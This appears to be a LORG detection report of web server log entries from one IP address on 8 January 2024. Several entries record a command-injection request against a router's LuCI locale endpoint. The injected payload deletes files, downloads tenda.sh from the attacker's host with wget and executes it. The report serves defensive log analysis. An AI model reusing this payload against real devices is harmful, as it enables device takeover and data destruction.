LORG Detection Results [lorg]

Summary: 6 incidents discovered from one client

regular visitor

185.224.128.191 | 6 incidents | impact ∑: 60

attacks only

Description: A random scan and human attacker yesterday. A total of 6 incidents where discovered by phpids detection modules.

Impact	Tags	Remote-City	Remote-Host	Remote-Logname	Remote-User	Date	Request	Final-Status	Bytes-Sent	Referer	User-Agent
0	none	-	185.224.128.191	-	-	Mon, 08 Jan 2024 03:30:29 +0100	GET / HTTP/1.1	302	387	-	-
0	none	-	185.224.128.191	-	-	Mon, 08 Jan 2024 13:15:24 +0100	GET / HTTP/1.0	400	624	-	-
10	dt id lfi xss csrf	-	185.224.128.191	-	-	Mon, 08 Jan 2024 13:37:09 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm -rf *; cd /tmp; wget http://185.224.128.191/tenda.sh; chmod 777 tenda.sh; /bin/sh tenda.sh) HTTP/1.1	302	863	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
10	dt id lfi xss csrf	-	185.224.128.191	-	-	Mon, 08 Jan 2024 13:37:09 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm -rf *; cd /tmp; wget http://185.224.128.191/tenda.sh; chmod 777 tenda.sh; /bin/sh tenda.sh) HTTP/1.1	302	862	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
10	dt id lfi xss csrf	-	185.224.128.191	-	-	Mon, 08 Jan 2024 16:12:34 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm -rf *; cd /tmp; wget http://185.224.128.191/tenda.sh; chmod 777 tenda.sh;./tenda.sh) HTTP/1.1	302	837	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
10	dt id lfi xss csrf	-	185.224.128.191	-	-	Mon, 08 Jan 2024 16:12:34 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm -rf *; cd /tmp; wget http://185.224.128.191/tenda.sh; chmod 777 tenda.sh;./tenda.sh) HTTP/1.1	302	836	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
0	none	-	185.224.128.191	-	-	Mon, 08 Jan 2024 16:23:51 +0100	GET / HTTP/1.1	302	437	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
10	dt id lfi xss csrf	-	185.224.128.191	-	-	Mon, 08 Jan 2024 19:48:54 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm -rf *; cd /tmp; wget http://185.224.128.191/tenda.sh; chmod 777 tenda.sh;./tenda.sh) HTTP/1.1	302	837	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
10	dt id lfi xss csrf	-	185.224.128.191	-	-	Mon, 08 Jan 2024 19:48:54 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm -rf *; cd /tmp; wget http://185.224.128.191/tenda.sh; chmod 777 tenda.sh;./tenda.sh) HTTP/1.1	302	836	-	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246